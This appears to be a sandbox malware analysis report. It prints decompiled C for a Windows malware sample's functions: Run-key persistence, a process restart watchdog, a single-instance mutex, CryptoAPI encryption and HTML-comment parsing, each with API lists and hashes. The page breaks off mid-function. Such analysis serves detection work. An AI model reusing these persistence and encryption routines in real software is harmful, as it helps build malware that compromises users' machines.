Opcode Fuzzy Hash: 34458be81e427262741f71e07dfc47b0f17ea7c68782a946b32513cabd3e92be
Instruction Fuzzy Hash: 1C213075A00208EFE704EF94D958FAEB7B9EB48305F10C658E605B7281D739EE84CB90

Uniqueness

Uniqueness Score: -1.00%

Function 040077B0 Relevance: 10.6, APIs: 7, Instructions: 80
sleepCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E040077B0(void** _a4) {
				void** _v8;
				intOrPtr _v12;
				long _v16;
				long _v20;
				long _v24;
				void** _v28;
				int _t37;
				void* _t40;
				void* _t60;

				if(_a4 != 0) {
					__imp__CoInitialize(0);
					_v12 = 0x96;
					_v16 = 0x1388;
					_v8 = _a4;
					if( *_v8 != 0) {
						_v20 = 0;
						while(_v20 < 0x96) {
							_v24 = 0;
							_t37 = GetExitCodeProcess(_v8[3],  &_v24); // executed
							if(_t37 == 0) {
							} else {
								if(_v24 != 0x103) {
									CloseHandle(_v8[3]);
									Sleep(0x7530);
									_t40 = E04002070( *_v8);
									_t60 = _t60 + 4;
									_v8[3] = _t40;
									if(_v8[3] != 0) {
										_v20 = _v20 + 1;
										if((_v8[2] & 0x00000004) != 0) {
											E04002510(_v8[3], 0x400e290);
											_t60 = _t60 + 8;
										}
										goto L11;
									} else {
									}
								} else {
									Sleep(0x1388); // executed
									L11:
									continue;
								}
							}
							break;
						}
						VirtualFree( *_v8, 0, 0x8000);
						_v28 = _v8;
						E040097C0(_v28);
					}
					__imp__CoUninitialize();
				}
				return 0;
			}

0x040077ba
0x040077c2
0x040077c8
0x040077cf
0x040077d9
0x040077e2
0x040077e8
0x040077ef
0x040077fc
0x0400780e
0x04007816
0x04007818
0x0400781f
0x04007835
0x04007840
0x0400784c
0x04007851
0x04007857
0x04007861
0x0400786d
0x04007879
0x04007887
0x0400788c
0x0400788c
0x00000000
0x00000000
0x04007863
0x04007821
0x04007826
0x0400788f
0x00000000
0x04007893
0x0400781f
0x00000000
0x04007816
0x040078a5
0x040078ae
0x040078b5
0x040078ba
0x040078bd
0x040078bd
0x040078c8

APIs

CoInitialize.OLE32(00000000), ref: 040077C2
GetExitCodeProcess.KERNEL32 ref: 0400780E
Sleep.KERNEL32(00001388), ref: 04007826
CloseHandle.KERNEL32(00001388), ref: 04007835
Sleep.KERNEL32(00007530), ref: 04007840
VirtualFree.KERNEL32(00000096,00000000,00008000), ref: 040078A5
CoUninitialize.OLE32 ref: 040078BD

Memory Dump Source

Source File: 00000000.00000002.599743411.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.599611327.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600083870.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600248652.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_iJzpyjAehB.jbxd

Similarity

API ID: Sleep$CloseCodeExitFreeHandleInitializeProcessUninitializeVirtual
String ID:
API String ID: 2326833528-0
Opcode ID: 40971a79621a4715f304bef9d1a112be756b69aca4ab6b623c127bbca2746a66
Instruction ID: 786529089a386be0191f5a1a0158813805cafbe076d78358bbe760b2cac44d20
Opcode Fuzzy Hash: 40971a79621a4715f304bef9d1a112be756b69aca4ab6b623c127bbca2746a66
Instruction Fuzzy Hash: 62318E74A00209EBFB54CF90C848BAEB7B1FB44305F14C668E905B7280D779BE40CB91

Uniqueness

Uniqueness Score: -1.00%

Function 04005CD0 Relevance: 10.6, APIs: 7, Instructions: 72
filememorystringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04005CD0(CHAR* _a4) {
				long _v8;
				void* _v12;
				long _v16;
				void* _v20;
				long _v24;
				void* _t29;
				void* _t34;

				_v8 = 0;
				if(_a4 != 0 && lstrlenA(_a4) >= 4) {
					_t29 = CreateFileA(_a4, 0x80000000, 7, 0, 3, 0x80, 0); // executed
					_v12 = _t29;
					if(_v12 != 0xffffffff) {
						_v16 = GetFileSize(_v12, 0);
						if(_v16 > 0) {
							_t34 = VirtualAlloc(0, _v16, 0x3000, 4); // executed
							_v20 = _t34;
							if(_v20 != 0) {
								_v24 = 0;
								ReadFile(_v12, _v20, _v16,  &_v24, 0); // executed
								if(_v24 == _v16) {
									_v8 = E040016F0(_v20, _v16);
								}
								VirtualFree(_v20, 0, 0x8000); // executed
							}
						}
						FindCloseChangeNotification(_v12); // executed
					}
				}
				return _v8;
			}

0x04005cd6
0x04005ce1
0x04005d10
0x04005d16
0x04005d1d
0x04005d2f
0x04005d36
0x04005d45
0x04005d4b
0x04005d52
0x04005d54
0x04005d6d
0x04005d79
0x04005d8b
0x04005d8b
0x04005d99
0x04005d99
0x04005d52
0x04005da3
0x04005da3
0x04005d1d
0x04005daf

APIs

lstrlenA.KERNEL32(00000000), ref: 04005CEB
CreateFileA.KERNEL32(00000000,80000000,00000007,00000000,00000003,00000080,00000000), ref: 04005D10
GetFileSize.KERNEL32(000000FF,00000000), ref: 04005D29
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 04005D45
ReadFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 04005D6D
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 04005D99
FindCloseChangeNotification.KERNEL32(000000FF), ref: 04005DA3

Memory Dump Source

Source File: 00000000.00000002.599743411.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.599611327.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600083870.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600248652.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_iJzpyjAehB.jbxd

Similarity

API ID: File$Virtual$AllocChangeCloseCreateFindFreeNotificationReadSizelstrlen
String ID:
API String ID: 443218420-0
Opcode ID: 071662be6b1e22e21ec0747122ec9fe5ab089f82a602849f769d97fd77600298
Instruction ID: 1c3b7df952a912c4f86c12ad70d9a091debb45511137cc5b62942badbf1a5776
Opcode Fuzzy Hash: 071662be6b1e22e21ec0747122ec9fe5ab089f82a602849f769d97fd77600298
Instruction Fuzzy Hash: 7021EC75A00208FBEB64DFA4DC49BAE77B5EB48705F108659F615BB2C0C778AA80CF51

Uniqueness

Uniqueness Score: -1.00%

Function 04005B50 Relevance: 8.9, APIs: 7, Instructions: 124
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04005B50(CHAR* _a4, char* _a8, intOrPtr* _a12, intOrPtr* _a16) {
				void* _v8;
				void* _v12;
				signed int _v16;
				long _v20;
				void* _v24;
				int _v28;
				int _v32;
				char* _v36;
				char* _v40;
				void* _v44;
				void* _t69;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0 && _a12 != 0) {
					_v32 = lstrlenA(_a8);
					_v28 = lstrlenA(_a4);
					_v24 = 0;
					_v16 = 0;
					while(_v24 < _v28) {
						_v36 = StrStrIA( &(_a4[_v24]), _a8);
						if(_v36 != 0) {
							_v16 = _v16 + 1;
							_v24 = _v36 - _a4 + _v32;
							continue;
						}
						break;
					}
					_v20 = _v16 * 0x28;
					_t69 = VirtualAlloc(0, _v20, 0x3000, 4); // executed
					_v12 = _t69;
					if(_v12 != 0) {
						_v24 = 0;
						_v16 = 0;
						while(_v24 < _v28) {
							_v40 = StrStrIA( &(_a4[_v24]), _a8);
							if(_v40 != 0) {
								lstrcpynA(_v12 + _v16 * 0x28,  &(_a4[_v24]), _v40 -  &(_a4[_v24]) + 1);
								_v24 = _v40 - _a4 + _v32;
								_v16 = _v16 + 1;
								_v8 = _v8 + 1;
								 *_a12 = _v12;
								continue;
							}
							break;
						}
						if(_a16 != 0) {
							_v44 = VirtualAlloc(0, _v20, 0x3000, 4);
							if(_v44 != 0) {
								E04007B70(_v44, _v12, _v20);
								 *_a16 = _v44;
							}
						}
					}
				}
				return _v8;
			}

0x04005b56
0x04005b61
0x04005b85
0x04005b92
0x04005b95
0x04005b9c
0x04005ba3
0x04005bbc
0x04005bc3
0x04005bcb
0x04005bd7
0x00000000
0x04005bde
0x00000000
0x04005bc3
0x04005be6
0x04005bf6
0x04005bfc
0x04005c03
0x04005c09
0x04005c10
0x04005c17
0x04005c30
0x04005c37
0x04005c59
0x04005c68
0x04005c71
0x04005c7a
0x04005c87
0x00000000
0x04005c87
0x00000000
0x04005c37
0x04005c8f
0x04005ca4
0x04005cab
0x04005cb9
0x04005cc7
0x04005cc7
0x04005cab
0x04005c8f
0x04005c03
0x04005ccf

APIs

lstrlenA.KERNEL32(00000000), ref: 04005B7F
lstrlenA.KERNEL32(00000000), ref: 04005B8C
StrStrIA.SHLWAPI(00000000,00000000), ref: 04005BB6
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 04005BF6
StrStrIA.SHLWAPI(00000000,00000000), ref: 04005C2A
lstrcpynA.KERNEL32(00000000,00000000,-00000001), ref: 04005C59
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 04005C9E

Memory Dump Source

Source File: 00000000.00000002.599743411.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.599611327.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600083870.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600248652.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_iJzpyjAehB.jbxd

Similarity

API ID: AllocVirtuallstrlen$lstrcpyn
String ID:
API String ID: 808621155-0
Opcode ID: 87716a91232c7d4b55081c1f55d7f64912373dfad697bd4087df7a6950954879
Instruction ID: 5a59fe48962482dc997a37d5c0ed7d0013e253906576cb4b19edba68c8a08fb2
Opcode Fuzzy Hash: 87716a91232c7d4b55081c1f55d7f64912373dfad697bd4087df7a6950954879
Instruction Fuzzy Hash: D451C774904209EFEB04CF94C998BEEBBB5EF48305F148559E505B7284D379AA80CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 04006CF0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04006CF0() {
				char _v5;
				void* _v12;
				void* _v16;
				int _v20;
				int _v24;
				long _v28;
				char _v60;
				long _t21;
				long _t24;
				char* _t26;
				char* _t30;
				char* _t32;

				_v5 = 0;
				_v12 = 0x80000001;
				if(( *0x401435a & 0x000000ff) != 0) {
					_v12 = 0x80000002;
				}
				_v16 = 0;
				_t32 =  *0x40118a0; // 0x4013b88
				_t21 = RegOpenKeyExA(_v12, _t32, 0, 0xf003f,  &_v16); // executed
				if(_t21 == 0) {
					_v24 = 0x20;
					_v20 = 3;
					_t30 =  *0x4011890; // 0x4013fa6
					_t24 = RegQueryValueExA(_v16, _t30, 0,  &_v20,  &_v60,  &_v24); // executed
					_v28 = _t24;
					if(_v28 == 0) {
						_v5 = 1;
						_t26 =  *0x4011890; // 0x4013fa6
						RegDeleteValueA(_v16, _t26);
					}
					RegCloseKey(_v16);
				}
				return _v5;
			}

0x04006cf6
0x04006cfa
0x04006d0a
0x04006d0c
0x04006d0c
0x04006d13
0x04006d25
0x04006d30
0x04006d38
0x04006d3a
0x04006d41
0x04006d56
0x04006d61
0x04006d67
0x04006d6e
0x04006d70
0x04006d74
0x04006d7e
0x04006d7e
0x04006d88
0x04006d88
0x04006d94

APIs

RegOpenKeyExA.KERNEL32(80000001,04013B88,00000000,000F003F,00000000), ref: 04006D30
RegQueryValueExA.KERNEL32(00000000,04013FA6,00000000,00000003,?,00000020), ref: 04006D61
RegDeleteValueA.ADVAPI32(00000000,04013FA6), ref: 04006D7E
RegCloseKey.ADVAPI32(00000000), ref: 04006D88

Strings

, xrefs: 04006D3A

Memory Dump Source

Source File: 00000000.00000002.599743411.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.599611327.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600083870.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600248652.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_iJzpyjAehB.jbxd

Similarity

API ID: Value$CloseDeleteOpenQuery
String ID:
API String ID: 647993726-3916222277
Opcode ID: 7e3867fdce199c8a5bb6ff6aa161a31bc633291f878d7ee7a05f6acc28b5ac08
Instruction ID: 88112219bc8656018e8fd12fe99521312711d887651bf4d09d45951e100356d5
Opcode Fuzzy Hash: 7e3867fdce199c8a5bb6ff6aa161a31bc633291f878d7ee7a05f6acc28b5ac08
Instruction Fuzzy Hash: DE114275D04208AFEB04DFE0D848BBEBBB8FB48304F148158EA00BB280D77D5A45CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 04008370 Relevance: 7.7, APIs: 6, Instructions: 191
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04008370(intOrPtr _a4, long _a8, char _a12, intOrPtr _a16) {
				long _v8;
				void* _v12;
				void* _v16;
				long _v20;
				long _v24;
				intOrPtr _v28;
				void* _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				intOrPtr* _v56;
				long _v60;
				void* _t79;
				void* _t80;
				void* _t85;
				void* _t90;
				void* _t94;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0 || _a12 == 0 || _a16 == 0 || _a16 < _a8) {
					L17:
					return _v8;
				} else {
					_t79 = VirtualAlloc(0, 0x1000, 0x3000, 4); // executed
					_v16 = _t79;
					_t80 = VirtualAlloc(0, 0x1000, 0x3000, 4); // executed
					_v12 = _t80;
					if(_v16 != 0 && _v12 != 0) {
						_v24 = 0x1000;
						_v20 = 0x1000;
						_t85 = E04008800(_v16,  &_v24, _v12,  &_v20, 0x4013378, 0x94); // executed
						if(_t85 != 0) {
							_t21 = _a8 + 0x10; // 0x1010
							_v28 = _v20 + _t21;
							_t170 = _a16 - _v28;
							if(_a16 >= _v28) {
								_v40 = E04008770(_t170, 0xa);
								_v36 = E040087D0(0xffffffff);
								_t90 = VirtualAlloc(0, _a8, 0x3000, 4); // executed
								_v32 = _t90;
								if(_v32 != 0) {
									_v44 = _a8;
									E04007B70(_v32, _a4, _a8);
									_t94 = E04008970(_v32,  &_v44, _v16, _v24); // executed
									if(_t94 != 0) {
										_v48 = _a12;
										E040085D0( &_v48,  &_v40, 4);
										E040085D0( &_v48,  &_v36, 4);
										_v60 = 0;
										_v56 = _v48;
										E040085D0( &_v48,  &_v60, 4);
										_v52 = _v48;
										E040085D0( &_v48,  &_v20, 4);
										E040085D0( &_v48, _v12, _v20);
										E04008650(_v36, _v52, _v48 - _v52, _v36);
										E040085D0( &_v48, _v32, _v44);
										 *_v56 = E040016F0(_a12 + 0xc, _v48 - _a12 + 0xc);
										_v8 = _v48 - _a12;
									}
									VirtualFree(_v32, 0, 0x8000); // executed
								}
							}
						}
					}
					if(_v16 != 0) {
						VirtualFree(_v16, 0, 0x8000); // executed
					}
					if(_v12 != 0) {
						VirtualFree(_v12, 0, 0x8000); // executed
					}
					goto L17;
				}
			}

0x04008376
0x04008381
0x040085c0
0x040085c6
0x040083b1
0x040083bf
0x040083c5
0x040083d6
0x040083dc
0x040083e3
0x040083f3
0x040083fa
0x0400841b
0x04008425
0x04008431
0x04008435
0x0400843b
0x0400843e
0x0400844e
0x0400845b
0x0400846b
0x04008471
0x04008478
0x04008481
0x04008490
0x040084a8
0x040084b2
0x040084bb
0x040084c8
0x040084da
0x040084e2
0x040084ec
0x040084f9
0x04008504
0x04008511
0x04008525
0x0400853c
0x04008550
0x04008576
0x0400857e
0x0400857e
0x0400858c
0x0400858c
0x04008478
0x0400843e
0x04008425
0x04008596
0x040085a3
0x040085a3
0x040085ad
0x040085ba
0x040085ba
0x00000000
0x040085ad

APIs

VirtualAlloc.KERNEL32(00000000,00001000,00003000,00000004), ref: 040083BF
VirtualAlloc.KERNEL32(00000000,00001000,00003000,00000004), ref: 040083D6
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 0400846B

Part of subcall function 04008970: CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 040089BF
Part of subcall function 04008970: GetLastError.KERNEL32 ref: 040089C9
Part of subcall function 04008970: CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 040089F8
Part of subcall function 04008970: CryptImportKey.ADVAPI32(00000000,00000000,00000000,00000000,00000001,00000000), ref: 04008A1F
Part of subcall function 04008970: CryptEncrypt.ADVAPI32(00000000,00000000,00000001,00000000,00000000,00000000,00000000), ref: 04008A41
Part of subcall function 04008970: CryptDestroyKey.ADVAPI32(00000000), ref: 04008A4E
Part of subcall function 04008970: CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 04008A5A

VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 0400858C
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 040085A3
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 040085BA

Part of subcall function 04008800: CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000,04008420,00000000,00001000,00000000), ref: 0400883B
Part of subcall function 04008800: GetLastError.KERNEL32 ref: 04008845
Part of subcall function 04008800: CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 04008874
Part of subcall function 04008800: CryptGenKey.ADVAPI32(00000000,00006801,?,00000000), ref: 040088AF
Part of subcall function 04008800: CryptExportKey.ADVAPI32(00000000,00000000,00000008,00000000,00000000,00000000), ref: 040088CF
Part of subcall function 04008800: CryptImportKey.ADVAPI32(00000000,00000000,?,00000000,00000001,?), ref: 0400890C
Part of subcall function 04008800: CryptExportKey.ADVAPI32(00000000,?,00000001,00000000,00000000,00000000), ref: 0400892A
Part of subcall function 04008800: CryptDestroyKey.ADVAPI32(?), ref: 04008937

Part of subcall function 040087D0: QueryPerformanceCounter.KERNEL32(?), ref: 040087E7

Memory Dump Source

Source File: 00000000.00000002.599743411.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.599611327.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600083870.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600248652.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_iJzpyjAehB.jbxd

Similarity

API ID: Crypt$Virtual$Context$Acquire$AllocFree$DestroyErrorExportImportLast$CounterEncryptPerformanceQueryRelease
String ID:
API String ID: 487564122-0
Opcode ID: cd64014fca8a1fd3dedaf543264f396e97ee9f29ef2d2d9375146d60c3b71fee
Instruction ID: 75e4ec9ffd75ad85335d37f2dbfda6536f989acb89096578b4a6032df118288e
Opcode Fuzzy Hash: cd64014fca8a1fd3dedaf543264f396e97ee9f29ef2d2d9375146d60c3b71fee
Instruction Fuzzy Hash: A0711CB6D00208ABEB14EFA4D845FEEB7B4BB48305F14C519EA15B72C0E774EA44CB65

Uniqueness

Uniqueness Score: -1.00%

Function 040012D0 Relevance: 7.6, APIs: 5, Instructions: 57
registrysleepstringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E040012D0(CHAR* _a4) {
				CHAR* _v8;
				char* _v12;
				CHAR* _v16;
				void* _v20;
				void* _v24;
				int _v28;
				long _t26;

				_v8 = _a4;
				if(_v8 != 0) {
					_v16 = _v8;
					_v12 = "software\\microsoft\\windows\\currentversion\\run";
					while( *0x4014370 == 0) {
						_v20 = 0x80000001;
						if(( *(_v8 + 0x30c) & 0x000000ff) != 0) {
							_v20 = 0x80000002;
						}
						_v24 = 0;
						_t26 = RegOpenKeyExA(_v20, _v12, 0, 0xf003f,  &_v24); // executed
						if(_t26 == 0) {
							_v28 = lstrlenA(_v16);
							RegSetValueExA(_v24, _v8 + 0x208, 0, 1, _v16, _v28); // executed
							RegCloseKey(_v24);
						}
						Sleep(0x1388); // executed
					}
				}
				return 0;
			}

0x040012d9
0x040012e0
0x040012e9
0x040012ec
0x040012f3
0x04001301
0x04001314
0x04001316
0x04001316
0x0400131d
0x04001337
0x0400133f
0x0400134b
0x04001368
0x04001372
0x04001372
0x0400137d
0x0400137d
0x040012fc
0x0400138d

APIs

RegOpenKeyExA.KERNEL32(80000001,0400C248,00000000,000F003F,00000000), ref: 04001337
lstrlenA.KERNEL32(?), ref: 04001345
RegSetValueExA.KERNEL32(00000000,-00000208,00000000,00000001,?,?), ref: 04001368
RegCloseKey.ADVAPI32(00000000), ref: 04001372
Sleep.KERNEL32(00001388), ref: 0400137D

Memory Dump Source

Source File: 00000000.00000002.599743411.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.599611327.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600083870.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600248652.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_iJzpyjAehB.jbxd

Similarity

API ID: CloseOpenSleepValuelstrlen
String ID:
API String ID: 3411147897-0
Opcode ID: 938b7cb6186ad2cb83b89a2b0749dbfdb9b9446470f7ced15d3d2a40044d04a4
Instruction ID: 889d750eda8961b126f00a9021e235014b30ece64fb5bfebafecfaf2f158f27d
Opcode Fuzzy Hash: 938b7cb6186ad2cb83b89a2b0749dbfdb9b9446470f7ced15d3d2a40044d04a4
Instruction Fuzzy Hash: 12210070A04309EBEB04CFE4C949BAEB7B4FB44301F108258E641BB280D779AE40DB91

Uniqueness

Uniqueness Score: -1.00%

Function 100021A0 Relevance: 6.2, APIs: 4, Instructions: 182COMMON

Download Yara Rule

APIs

IsBadHugeReadPtr.KERNEL32(00000000,00000014), ref: 100021F9
SetLastError.KERNEL32(0000007E), ref: 1000223B

Memory Dump Source

Source File: 00000000.00000002.607930216.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_iJzpyjAehB.jbxd

Similarity

API ID: ErrorHugeLastRead
String ID:
API String ID: 3239643929-0
Opcode ID: 85b49708b7b006b8dd60775e5bc00b257713ffe4475079b25aab955e2dacc848
Instruction ID: c08fe1bd30c15a7bb6e8476d185febfb1ca0f6f7539b963f039c2b10503cc3e6
Opcode Fuzzy Hash: 85b49708b7b006b8dd60775e5bc00b257713ffe4475079b25aab955e2dacc848
Instruction Fuzzy Hash: CB818574A00209EFDB04CF94C890B9EBBB5FF88354F248198E959AB355D774EE81CB90

Uniqueness

Uniqueness Score: -1.00%

Function 04005E00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04005E00() {

				CreateMutexA(0, 0, "pigalicapi"); // executed
				return 0 | GetLastError() == 0x000000b7;
			}

0x04005e0c
0x04005e25

APIs

CreateMutexA.KERNEL32(00000000,00000000,pigalicapi,?,04003BEB), ref: 04005E0C
GetLastError.KERNEL32(?,04003BEB), ref: 04005E12

Strings

pigalicapi, xrefs: 04005E03

Memory Dump Source

Source File: 00000000.00000002.599743411.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.599611327.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600083870.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600248652.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_iJzpyjAehB.jbxd

Similarity

API ID: CreateErrorLastMutex
String ID: pigalicapi
API String ID: 1925916568-2184165135
Opcode ID: ac3ade5f6374e6b3d28c260e8624ddfb09fc106c0a6a63d5b6af1bc4c66bd4e9
Instruction ID: c9a096dff23d34124f73a3e8575822b5ba186ec69b5811b6053c60030017a183
Opcode Fuzzy Hash: ac3ade5f6374e6b3d28c260e8624ddfb09fc106c0a6a63d5b6af1bc4c66bd4e9
Instruction Fuzzy Hash: FAC08C362883186BF2081B61ED4BB893A88C792E81F600030F30AEA0D0999968C08B16

Uniqueness

Uniqueness Score: -1.00%

Function 04008250 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 86
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04008250(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				signed int _v8;
				signed int _v12;
				signed int _v13;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v28;
				char _v32;
				char* _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				char _t48;
				intOrPtr _t51;
				intOrPtr _t58;
				char _t63;
				void* _t77;
				void* _t78;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0 && _a12 != 0 && _a16 != 0) {
					_v12 = 0;
					_v20 = _a4;
					_v13 = 0;
					while(_v12 < _a8 - 0xa && (_v13 & 0x000000ff) == 0) {
						_t48 = "<!--"; // 0x2d2d213c
						_v32 = _t48;
						_t63 =  *0x400c700; // 0x0
						_v28 = _t63;
						_t51 = E04007AF0(_v20 + _v12, _a8 - _v12,  &_v32, 4);
						_t78 = _t77 + 0x10;
						_v24 = _t51;
						if(_v24 == 0) {
						} else {
							_v12 = _v24 - _a4;
							_t28 = _v12 + 4; // 0x4
							_v36 = StrStrA(_v20 + _t28, "-->");
							if(_v36 != 0) {
								_v44 = _v36 - _v24 - 4;
								_t58 = E04008090(_v24 + 4, _v44, _a12, _a16); // executed
								_t77 = _t78 + 0x10;
								_v40 = _t58;
								if(_v40 > 0) {
									_v13 = 1;
									_v8 = _v40;
								}
								_v12 = _v12 + 4;
								continue;
							}
						}
						goto L16;
					}
				}
				L16:
				return _v8;
			}

0x04008256
0x04008261
0x04008285
0x0400828f
0x04008292
0x04008296
0x040082b1
0x040082b6
0x040082b9
0x040082bf
0x040082d6
0x040082db
0x040082de
0x040082e5
0x040082e7
0x040082ed
0x040082fb
0x04008306
0x0400830d
0x04008318
0x0400832e
0x04008333
0x04008336
0x0400833d
0x0400833f
0x04008346
0x04008346
0x0400834f
0x00000000
0x0400835a
0x0400830d
0x00000000
0x040082e5
0x04008296
0x0400835f
0x04008365

APIs

StrStrA.SHLWAPI(00000004,-->), ref: 04008300

Part of subcall function 04008090: VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 040080D8

Strings

<!--, xrefs: 040082B1
-->, xrefs: 040082F0

Memory Dump Source

Source File: 00000000.00000002.599743411.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.599611327.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600083870.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600248652.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_iJzpyjAehB.jbxd

Similarity

API ID: AllocVirtual
String ID: -->$<!--
API String ID: 4275171209-1166897919
Opcode ID: 20dc3e6302552aac322e9474528943c8a2bb7ec5e025690798da4dc1e387ebc2
Instruction ID: 33a7bc7995a4c535701f75233fb1c46eed47e0fb0959c3fa2371b97aa1c284c8
Opcode Fuzzy Hash: 20dc3e6302552aac322e9474528943c8a2bb7ec5e025690798da4dc1e387ebc2
Instruction Fuzzy Hash: 23311971900249DFEF04EFA8C544BEEBBB1BB88308F14C959D505B7281E774AA84CB96

Uniqueness

Uniqueness Score: -1.00%

Function 0040216C Relevance: 4.6, APIs: 3, Instructions: 76
COMMON

Download Yara Rule

C-Code - Quality: 30%

			E0040216C(void* __edx, char _a4) {
				void* _v20;
				signed short _v52;
				signed char _v56;
				char _v100;
				signed int _v116;
				intOrPtr _v120;
				struct HINSTANCE__* _v124;
				void* _t13;
				struct HINSTANCE__* _t17;
				void* _t18;
				intOrPtr _t19;
				intOrPtr* _t21;
				struct _STARTUPINFOA* _t23;
				void* _t25;
				signed int _t27;
				signed int _t32;
				struct HINSTANCE__** _t34;

				_t25 = __edx;
				_t23 =  &_a4;
				_push( *((intOrPtr*)(_t23 - 4)));
				_t34 = (_t32 & 0xfffffff0) - 0x6c;
				E00402148(_t13);
				_t21 = GetCommandLineA();
				 *_t34 =  &_v100;
				GetStartupInfoA(_t23);
				_push(_t23);
				if(_t21 != 0) {
					while(1) {
						_t19 =  *_t21;
						if(_t19 != 0x20 && _t19 != 9) {
							break;
						}
						_t21 = _t21 + 1;
					}
					if(_t19 != 0x22) {
						while(_t19 != 0) {
							_t21 = _t21 + 1;
							_t19 =  *_t21;
							if(_t19 == 0x20) {
								_t19 = 0x20;
							} else {
								if(_t19 == 9) {
									_t19 = 9;
								} else {
									continue;
								}
							}
							goto L15;
						}
					} else {
						while(1) {
							_t21 = _t21 + 1;
							_t19 =  *_t21;
							if(_t19 == 0x22) {
								break;
							}
